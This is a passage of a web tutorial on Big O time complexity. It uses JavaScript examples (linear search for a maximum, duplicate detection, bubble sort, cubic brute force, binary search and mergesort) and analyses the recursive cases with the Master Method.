<p><strong>Examples of linear time algorithms</strong>:</p>
<ul>
<li>Get the max/min value in an array.</li>
<li>Find a given element in a collection.</li>
<li>Print all the values in a list.</li>
</ul>
<p>Let’s implement the first example.</p>
<h3 id="The-largest-item-on-an-unsorted-array"><a href="#The-largest-item-on-an-unsorted-array" class="headerlink" title="The largest item on an unsorted array"></a>The largest item on an unsorted array</h3><p>Let’s say you want to find the maximum value from an unsorted array.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">findMax</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">let</span> max;</span><br><span class="line">  <span class="keyword">let</span> counter = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; n.length; i++) &#123;</span><br><span class="line">    counter++;</span><br><span class="line">    <span class="keyword">if</span>(max === <span class="literal">undefined</span> || max &lt; n[i]) &#123;</span><br><span class="line">      max = n[i];</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">`n: <span class="subst">$&#123;n.length&#125;</span>, counter: <span class="subst">$&#123;counter&#125;</span>`</span>);</span><br><span class="line">  <span class="keyword">return</span> max;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>How many operations will the <code>findMax</code> function do?</p>
<p>Well, it checks every element from <code>n</code>. If the current item is more significant than <code>max</code> it will do an assignment.</p>
<p>Notice that we added a counter to count how many times the inner block is executed.</p>
<p>If you get the time complexity, it would be something like this:</p>
<ul>
<li>Line 2-3: 2 operations</li>
<li>Line 4: a loop of size n</li>
<li>Line 6-8: 3 operations inside the for-loop.</li>
</ul>
<p>So, this gets us <code>3(n) + 2</code>.</p>
<p>Applying the Big O notation that we learn in the
<a href="https://adrianmejia.com/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/#Asymptotic-analysis">previous post</a>,
we only need the biggest order term, thus <code>O(n)</code>.</p>
<p>We can verify this using our <code>counter</code>. If <code>n</code> has 3 elements:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">findMax([<span class="number">3</span>, <span class="number">1</span>, <span class="number">2</span>]);</span><br><span class="line"><span class="comment">// n: 3, counter: 3</span></span><br></pre></td></tr></table></figure>

<p>or if <code>n</code> has 9 elements:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">findMax([<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">1</span>,<span class="number">9</span>,<span class="number">2</span>,<span class="number">8</span>,<span class="number">3</span>,<span class="number">7</span>])</span><br><span class="line"><span class="comment">// n: 9, counter: 9</span></span><br></pre></td></tr></table></figure>

<p>Now imagine that you have an array of one million items. Do you think it will take the same time? Of course not. It will take longer to the size of the input. If we plot <code>n</code> and <code>findMax</code> running time, we will have a linear function graph.</p>
<img src="/images/linear-running-time-o(n).jpg" class="" title="Linear Running time O(n) example">

<h2 id="O-n-2-Quadratic-time"><a href="#O-n-2-Quadratic-time" class="headerlink" title="O(n^2) - Quadratic time"></a>O(n^2) - Quadratic time</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/ZRCTMYv2fRU?rel=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>A function with a quadratic time complexity has a growth rate of n<sup>2</sup>. If the input is size 2, it will do four operations. If the input is size 8, it will take 64, and so on.</p>
<p>Here are some <strong>examples of quadratic algorithms</strong>:</p>
<ul>
<li>Check if a collection has duplicated values.</li>
<li>Sorting items in a collection using bubble sort, insertion sort, or selection sort.</li>
<li>Find all possible ordered pairs in an array.</li>
</ul>
<p>Let’s implement the first two.</p>
<h3 id="Has-duplicates"><a href="#Has-duplicates" class="headerlink" title="Has duplicates"></a>Has duplicates</h3><p>You want to find duplicate words in an array. A naïve solution will be the following:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hasDuplicates</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> duplicates = [];</span><br><span class="line">  <span class="keyword">let</span> counter = <span class="number">0</span>; <span class="comment">// debug</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> outter = <span class="number">0</span>; outter &lt; n.length; outter++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> inner = <span class="number">0</span>; inner &lt; n.length; inner++) &#123;</span><br><span class="line">      counter++; <span class="comment">// debug</span></span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span>(outter === inner) <span class="keyword">continue</span>;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span>(n[outter] === n[inner]) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">console</span>.log(<span class="string">`n: <span class="subst">$&#123;n.length&#125;</span>, counter: <span class="subst">$&#123;counter&#125;</span>`</span>); <span class="comment">// debug</span></span><br><span class="line">  <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Time complexity analysis:</p>
<ul>
<li>Line 2-3: 2 operations</li>
<li>Line 5-6: double-loop of size n, so <code>n^2</code>.</li>
<li>Line 7-13: has ~3 operations inside the double-loop</li>
</ul>
<p>We get <code>3n^2 + 2</code>.</p>
<p>When we have an asymptotic analysis, we drop all constants and leave the most critical term: <code>n^2</code>. So, in the big O notation, it would be <code>O(n^2)</code>.</p>
<p>We are using a counter variable to help us verify. The <code>hasDuplicates</code> function has two loops. If we have an input of 4 words, it will execute the inner block 16 times. If we have 9, it will perform counter 81 times and so forth.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hasDuplicates([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>]);</span><br><span class="line"><span class="comment">// n: 4, counter: 16</span></span><br></pre></td></tr></table></figure>

<p>and with n size 9:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hasDuplicates([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">8</span>,<span class="number">9</span>]);</span><br><span class="line"><span class="comment">// n: 9, counter: 81</span></span><br></pre></td></tr></table></figure>
<p>Let’s see another example.</p>
<h2 id="Bubble-sort"><a href="#Bubble-sort" class="headerlink" title="Bubble sort"></a>Bubble sort</h2><p>We want to sort the elements in an array. One way to do this is using bubble sort as follows:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">sort</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> outer = <span class="number">0</span>; outer &lt; n.length; outer++) &#123;</span><br><span class="line">    <span class="keyword">let</span> outerElement = n[outer];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> inner = outer + <span class="number">1</span>; inner &lt; n.length; inner++) &#123;</span><br><span class="line">      <span class="keyword">let</span> innerElement = n[inner];</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span>(outerElement &gt; innerElement) &#123;</span><br><span class="line">        <span class="comment">// swap</span></span><br><span class="line">        n[outer] = innerElement;</span><br><span class="line">        n[inner] = outerElement;</span><br><span class="line">        <span class="comment">// update references</span></span><br><span class="line">        outerElement = n[outer];</span><br><span class="line">        innerElement = n[inner];</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> n;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>You might also notice that for a very big <code>n</code>, the time it takes to solve the problem increases a lot. Can you spot the relationship between nested loops and the running time? When a function has a single loop, it usually translates into a running time complexity of O(n). Now, this function has 2 nested loops and quadratic running time: O(n<sup>2</sup>).</p>
<!--

As you can probably guess, two inner loops translate to O(n^2) since it has to go through the array twice in most cases.

Usually, we want to stay away from polynomial running times (quadratic, cubic, O(n^c), etc.) since they take longer to compute as the input grows fast. However, they are not the worst. Let's something that takes even longer.

### Quicksort
---

Expand:
  * worst case: reverse order
  * best case: already ordered

---
-->

<h2 id="O-n-c-Polynomial-time"><a href="#O-n-c-Polynomial-time" class="headerlink" title="O(n^c) - Polynomial time"></a>O(n^c) - Polynomial time</h2><p>Polynomial running is represented as O(n<sup>c</sup>), when <code>c &gt; 1</code>. As you already saw, two inner loops almost translate to O(n<sup>2</sup>) since it has to go through the array twice in most cases. Are three nested loops cubic? If each one visit all elements, then yes!</p>
<p>Usually, we want to stay away from polynomial running times (quadratic, cubic, n<sup>c</sup>, etc.) since they take longer to compute as the input grows fast. However, they are not the worst.</p>
<h3 id="Triple-nested-loops"><a href="#Triple-nested-loops" class="headerlink" title="Triple nested loops"></a>Triple nested loops</h3><p>Let’s say you want to find the solutions for a multi-variable equation that looks like this:</p>
<blockquote>
<p>3x + 9y + 8z = 79</p>
</blockquote>
<p>This naïve program will give you all the solutions that satisfy the equation where <code>x</code>, <code>y</code>, and <code>z</code> &lt; <code>n</code>.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">findXYZ</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> solutions = [];</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span>(<span class="keyword">let</span> x = <span class="number">0</span>; x &lt; n; x++) &#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">let</span> y = <span class="number">0</span>; y &lt; n; y++) &#123;</span><br><span class="line">      <span class="keyword">for</span>(<span class="keyword">let</span> z = <span class="number">0</span>; z &lt; n; z++) &#123;</span><br><span class="line">        <span class="keyword">if</span>( <span class="number">3</span>*x + <span class="number">9</span>*y + <span class="number">8</span>*z === <span class="number">79</span> ) &#123;</span><br><span class="line">          solutions.push(&#123;x, y, z&#125;);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> solutions;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(findXYZ(<span class="number">10</span>)); <span class="comment">// =&gt; [&#123;x: 0, y: 7, z: 2&#125;, ...]</span></span><br></pre></td></tr></table></figure>

<p>This algorithm has a cubic running time: <code>O(n^3)</code>.</p>
<p>** Note:** We could do a more efficient solution to solve multi-variable equations, but this works to show an example of a cubic runtime.</p>
<h2 id="O-log-n-Logarithmic-time"><a href="#O-log-n-Logarithmic-time" class="headerlink" title="O(log n) - Logarithmic time"></a>O(log n) - Logarithmic time</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/cCPOayp1vek?rel=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Logarithmic time complexities usually apply to algorithms that divide problems in half every time. For instance, let’s say that we want to look for a book in a dictionary. As you know, this book has every word sorted alphabetically. If you are looking for a word, then there are at least two ways to do it:</p>
<p>Algorithm A:</p>
<ol>
<li>Start on the first page of the book and go word by word until you find what you are looking for.</li>
</ol>
<p>Algorithm B:</p>
<ol>
<li>Open the book in the middle and check the first word on it.</li>
<li>If the word you are looking for is alphabetically more significant, then look to the right. Otherwise, look in the left half.</li>
<li>Divide the remainder in half again, and repeat step #2 until you find the word you are looking for.</li>
</ol>
<p>Which one is faster? The first algorithms go word by word <em>O(n)</em>, while the algorithm B split the problem in half on each iteration <em>O(log n)</em>. This 2nd algorithm is a <strong>binary search</strong>.</p>
<h3 id="Binary-search"><a href="#Binary-search" class="headerlink" title="Binary search"></a>Binary search</h3><p>Find the index of an element in a sorted array.</p>
<p>If we implement (Algorithm A) going through all the elements in an array, it will take a running time of <code>O(n)</code>. Can we do better? We can try using the fact that the collection is already sorted. Later, we can divide it in half as we look for the element in question.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">indexOf</span>(<span class="params">array, element, offset = <span class="number">0</span></span>) </span>&#123;</span><br><span class="line">  <span class="comment">// split array in half</span></span><br><span class="line marked">  <span class="keyword">const</span> half = <span class="built_in">parseInt</span>(array.length / <span class="number">2</span>);</span><br><span class="line marked">  <span class="keyword">const</span> current = array[half];</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(current === element) &#123;</span><br><span class="line">    <span class="keyword">return</span> offset + half;</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span>(element &gt; current) &#123;</span><br><span class="line">    <span class="keyword">const</span> right = array.slice(half);</span><br><span class="line">    <span class="keyword">return</span> indexOf(right, element, offset + half);</span><br><span class="line marked">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> left = array.slice(<span class="number">0</span>, half)</span><br><span class="line">    <span class="keyword">return</span> indexOf(left, element, offset);</span><br><span class="line marked">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Usage example with a list of names in ascending order:</span></span><br><span class="line"><span class="keyword">const</span> directory = [<span class="string">&quot;Adrian&quot;</span>, <span class="string">&quot;Bella&quot;</span>, <span class="string">&quot;Charlotte&quot;</span>, <span class="string">&quot;Daniel&quot;</span>, <span class="string">&quot;Emma&quot;</span>, <span class="string">&quot;Hanna&quot;</span>, <span class="string">&quot;Isabella&quot;</span>, <span class="string">&quot;Jayden&quot;</span>, <span class="string">&quot;Kaylee&quot;</span>, <span class="string">&quot;Luke&quot;</span>, <span class="string">&quot;Mia&quot;</span>, <span class="string">&quot;Nora&quot;</span>, <span class="string">&quot;Olivia&quot;</span>, <span class="string">&quot;Paisley&quot;</span>, <span class="string">&quot;Riley&quot;</span>, <span class="string">&quot;Thomas&quot;</span>, <span class="string">&quot;Wyatt&quot;</span>, <span class="string">&quot;Xander&quot;</span>, <span class="string">&quot;Zoe&quot;</span>];</span><br><span class="line"><span class="built_in">console</span>.log(indexOf(directory, <span class="string">&#x27;Hanna&#x27;</span>));   <span class="comment">// =&gt; 5</span></span><br><span class="line"><span class="built_in">console</span>.log(indexOf(directory, <span class="string">&#x27;Adrian&#x27;</span>));  <span class="comment">// =&gt; 0</span></span><br><span class="line"><span class="built_in">console</span>.log(indexOf(directory, <span class="string">&#x27;Zoe&#x27;</span>));     <span class="comment">// =&gt; 18</span></span><br></pre></td></tr></table></figure>

<p>Calculating the time complexity of <code>indexOf</code> is not as straightforward as the previous examples. This function is recursive.</p>
<p>There are several ways to analyze recursive algorithms. For simplicity, we are going to use the <code>Master Method</code>.</p>
<h3 id="Master-Method-for-recursive-algorithms"><a href="#Master-Method-for-recursive-algorithms" class="headerlink" title="Master Method for recursive algorithms"></a>Master Method for recursive algorithms</h3><p>Finding the runtime of recursive algorithms is not as easy as counting the operations. This method helps us to determine the runtime of recursive algorithms. We are going to explain this solution using the <code>indexOf</code> function as an illustration.</p>
<p>When analyzing recursive algorithms, we care about these three things:</p>
<ul>
<li>The runtime of the work done outside the recursion (line 3-4): <code>O(1)</code></li>
<li>How many recursive calls the problem is divided (line 11 or 14): <code>1</code> recursive call. Notice only one or the other will happen, never both.</li>
<li>How much <code>n</code> is reduced on each recursive call (line 10 or 13): <code>1/2</code>. Every recursive call cuts <code>n</code> in half.</li>
</ul>
<ol>
<li>The Master Method formula is the following:</li>
</ol>
<blockquote>
<p>T(n) = a T(n/b) + f(n)</p>
</blockquote>
<p>where:</p>
<ul>
<li><code>T</code>: time complexity function in terms of the input size <code>n</code>.</li>
<li><code>n</code>: the size of the input. duh? :)</li>
<li><code>a</code>: the number of sub-problems. For our case, we only split the problem into one subproblem. So, <code>a=1</code>.</li>
<li><code>b</code>: the factor by which <code>n</code> is reduced. For our example, we divide <code>n</code> in half each time. Thus, <code>b=2</code>.</li>
<li><code>f(n)</code>: the running time outside the recursion. Since dividing by 2 is constant time, we have <code>f(n) = O(1)</code>.</li>
</ul>
<ol start="2">
<li>Once we know the values of <code>a</code>, <code>b</code> and <code>f(n)</code>. We can determine the runtime of the recursion using this formula:</li>
</ol>
<blockquote>
<p>n<sup>log<sub>b</sub>a</sup></p>
</blockquote>
<p>This value will help us to find which master method case we are solving.</p>
<p>For binary search, we have:</p>
<p>n<sup>log<sub>b</sub>a</sup> = n<sup>log<sub>2</sub>1</sup> = n<sub>0</sub> = 1</p>
<ol start="3">
<li>Finally, we compare the recursion runtime from step 2) and the runtime <code>f(n)</code> from step 1). Based on that, we have the following cases:</li>
</ol>
<p><strong><em>Case 1</em>: Most of the work done in the recursion.</strong></p>
<p>If <code>n<sup>log<sub>b</sub>a</sup></code> &gt; <code>f(n)</code>,</p>
<p><strong>then</strong> runtime is:</p>
<blockquote>
<p><i>O(n<sup>log<sub>b</sub>a</sup>)</i></p>
</blockquote>
<p><strong><em>Case 2</em>: The runtime of the work done in the recursion and outside is the same</strong></p>
<p>If <code>n<sup>log<sub>b</sub>a</sup></code> === <code>f(n)</code>,</p>
<p><strong>then</strong> runtime is:</p>
<blockquote>
<p><i>O(n<sup>log<sub>b</sub>a</sup> log(n))</i></p>
</blockquote>
<p><strong><em>Case 3</em>: Most of the work is done outside the recursion</strong></p>
<p>If <code>n<sup>log<sub>b</sub>a</sup></code> &lt; <code>f(n)</code>,</p>
<p><strong>then</strong> runtime is:</p>
<blockquote>
<p><i>O(f(n))</i></p>
</blockquote>
<p>Now, let’s combine everything we learned here to get the running time of our binary search function <code>indexOf</code>.</p>
<h3 id="Master-Method-for-Binary-Search"><a href="#Master-Method-for-Binary-Search" class="headerlink" title="Master Method for Binary Search"></a>Master Method for Binary Search</h3><p>The binary search algorithm slit <code>n</code> in half until a solution is found or the array is exhausted. So, using the Master Method:</p>
<blockquote>
<p>T(n) = a T(n/b) + f(n)</p>
</blockquote>
<ol>
<li>Find <code>a</code>, <code>b</code> and <code>f(n)</code> and replace it in the formula:</li>
</ol>
<ul>
<li><code>a</code>: the number of sub-problems. For our example, we only split the problem into another subproblem. So <code>a=1</code>.</li>
<li><code>b</code>: the factor by which <code>n</code> is reduced. For our case, we divide <code>n</code> in half each time. Thus, <code>b=2</code>.</li>
<li><code>f(n)</code>: the running time outside the recursion: <code>O(1)</code>.</li>
</ul>
<p>Thus,</p>
<blockquote>
<p>T(n) = T(n/2) + O(1)</p>
</blockquote>
<ol start="2">
<li>Compare the runtime executed inside and outside the recursion:</li>
</ol>
<ul>
<li>Runtime of the work done <strong>outside</strong> the recursion: <code>f(n)</code>. E.g. <code>O(1)</code>.</li>
<li>Runtime of work done <strong>inside</strong> the recursion given by this formula <code>n<sup>log<sub>b</sub>a</sup></code>. E.g. O(<code>n<sup>log<sub>2</sub>1<sup></code>) = O(<code>n<sup>0<sub></code>) = <code>O(1)</code>.</li>
</ul>
<ol start="3">
<li>Finally, getting the runtime. Based on the comparison of the expressions from the previous steps, find the case it matches.</li>
</ol>
<p>As we saw in the previous step, the work outside and inside the recursion has the same runtime, so we are in <strong>case 2</strong>.</p>
<blockquote>
<p>O(n<sup>log<sub>b</sub>a</sup> log(n))</p>
</blockquote>
<p>Making the substitution, we get:</p>
<p>O(n<sup>log<sub>2</sub>1</sup> log(n))</p>
<p>O(n<sup>0</sup> log(n))</p>
<p>O(log(n))  <strong>👈 this is the running time of a binary search</strong></p>
<!--

https://www.youtube.com/watch?v=6CX7s7JnXs0 - Master Method ( incl. Step-By-Step Guide and Examples ) - Analysis

https://stackoverflow.com/questions/tagged/big-o?sort=votes&pageSize=20

https://mauriciopoppe.github.io/function-plot/

https://www.topcoder.com/community/data-science/data-science-tutorials/binary-search/

https://stackoverflow.com/questions/tagged/algorithm
https://stackoverflow.com/questions/tagged/data-structures
https://math.stackexchange.com/questions/tagged/recursive-algorithms+algorithms

https://stackoverflow.com/q/13467674/684957
https://en.wikipedia.org/wiki/Master_theorem_(analysis_of_algorithms) -->

<h2 id="O-n-log-n-Linearithmic"><a href="#O-n-log-n-Linearithmic" class="headerlink" title="O(n log n) - Linearithmic"></a>O(n log n) - Linearithmic</h2><iframe width="560" height="315" src="https://www.youtube.com/embed/PADwBMuehYc?rel=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<p>Linearithmic time complexity it’s slightly slower than a linear algorithm. However, it’s still much better than a quadratic algorithm (you will see a graph at the very end of the post).</p>
<p><strong>Examples of Linearithmic algorithms:</strong></p>
<ul>
<li>Efficient sorting algorithms like merge sort, quicksort, and others.</li>
</ul>
<h3 id="Mergesort"><a href="#Mergesort" class="headerlink" title="Mergesort"></a>Mergesort</h3><p>What’s the best way to sort an array?  Before, we proposed a solution using bubble sort that has a time complexity of O(n<sup>2</sup>). Can we do better?</p>
<p>We can use an algorithm called <code>mergesort</code> to improve it.
This is how mergesort works:</p>
<ol>
<li>We are going to divide the array recursively until the elements are two or less.</li>
<li>We know how to sort two items, so we sort them iteratively (base case).</li>
<li>The final step is merging: we merge in taking one by one from each array such that they are in ascending order.</li>
</ol>
<p>Here’s the code for merge sort:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Sort array in asc order using merge-sort</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@example</span></span></span><br><span class="line"><span class="comment"> *    sort([3, 2, 1]) =&gt; [1, 2, 3]</span></span><br><span class="line"><span class="comment"> *    sort([3]) =&gt; [3]</span></span><br><span class="line"><span class="comment"> *    sort([3, 2]) =&gt; [2, 3]</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param <span class="type">&#123;array&#125;</span> <span class="variable">array</span></span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">sort</span>(<span class="params">array = []</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> size = array.length;</span><br><span class="line">  <span class="comment">// base case</span></span><br><span class="line">  <span class="keyword">if</span> (size &lt; <span class="number">2</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> array;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (size === <span class="number">2</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> array[<span class="number">0</span>] &gt; array[<span class="number">1</span>] ? [array[<span class="number">1</span>], array[<span class="number">0</span>]] : array;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// split and merge</span></span><br><span class="line">  <span class="keyword">const</span> mid = <span class="built_in">parseInt</span>(size / <span class="number">2</span>, <span class="number">10</span>);</span><br><span class="line">  <span class="keyword">return</span> merge(sort(array.slice(<span class="number">0</span>, mid)), sort(array.slice(mid)));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Merge two arrays in asc order</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@example</span></span></span><br><span class="line"><span class="comment"> *    merge([2,5,9], [1,6,7]) =&gt; [1, 2, 5, 6, 7, 9]</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param <span class="type">&#123;array&#125;</span> <span class="variable">array1</span></span></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param <span class="type">&#123;array&#125;</span> <span class="variable">array2</span></span></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@returns <span class="type">&#123;array&#125;</span> </span>merged arrays in asc order</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">merge</span>(<span class="params">array1 = [], array2 = []</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> merged = [];</span><br><span class="line">  <span class="keyword">let</span> array1Index = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">let</span> array2Index = <span class="number">0</span>;</span><br><span class="line">  <span class="comment">// merge elements on a and b in asc order. Run-time O(a + b)</span></span><br><span class="line">  <span class="keyword">while</span> (array1Index &lt; array1.length || array2Index &lt; array2.length) &#123;</span><br><span class="line">    <span class="keyword">if</span> (array1Index &gt;= array1.length || array1[array1Index] &gt; array2[array2Index]) &#123;</span><br><span class="line">      merged.push(array2[array2Index]);</span><br><span class="line">      array2Index += <span class="number">1</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      merged.push(array1[array1Index]);</span><br><span class="line">      array1Index += <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> merged;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>As you can see, it has two functions, <code>sort</code> and <code>merge</code>. Merge is an auxiliary function that runs once through the collection <code>a</code> and <code>b</code>, so it’s running time is O(n). Let’s apply the Master Method to find the running time.</p>
<h3 id="Master-Method-for-Mergesort"><a href="#Master-Method-for-Mergesort" class="headerlink" title="Master Method for Mergesort"></a>Master Method for Mergesort</h3><p>We are going to apply the <a href="#Master-Method-for-recursive-algorithms">Master Method that we explained above</a> to find the runtime:</p>
<ol>
<li><p>Let’s find the values of: <code>T(n) = a T(n/b) + f(n)</code></p>
<ul>
<li><code>a</code>: The number of sub-problems is 2 (line 20). So, <code>a = 2</code>.</li>
<li><code>b</code>: Each of the sub-problems divides <code>n</code> in half. So, <code>b = 2</code></li>
<li><code>f(n)</code>: The work done outside the recursion is the function <code>merge</code>, which has a runtime of <code>O(n)</code> since it visits all the elements on the given arrays.</li>
</ul>
</li>
</ol>
<p>Substituting the values:</p>
<blockquote>
<p>T(n) = 2 T(n/2) + O(n)</p>
</blockquote>
<ol start="2">
<li>Let’s find the work done in the recursion: <code>n<sup>log<sub>b</sub>a</sup></code>.</li>
</ol>
<p>n<sup>log<sub>2</sub>2</sup></p>
<p>n<sup>1</sup> = n</p>
<ol start="3">
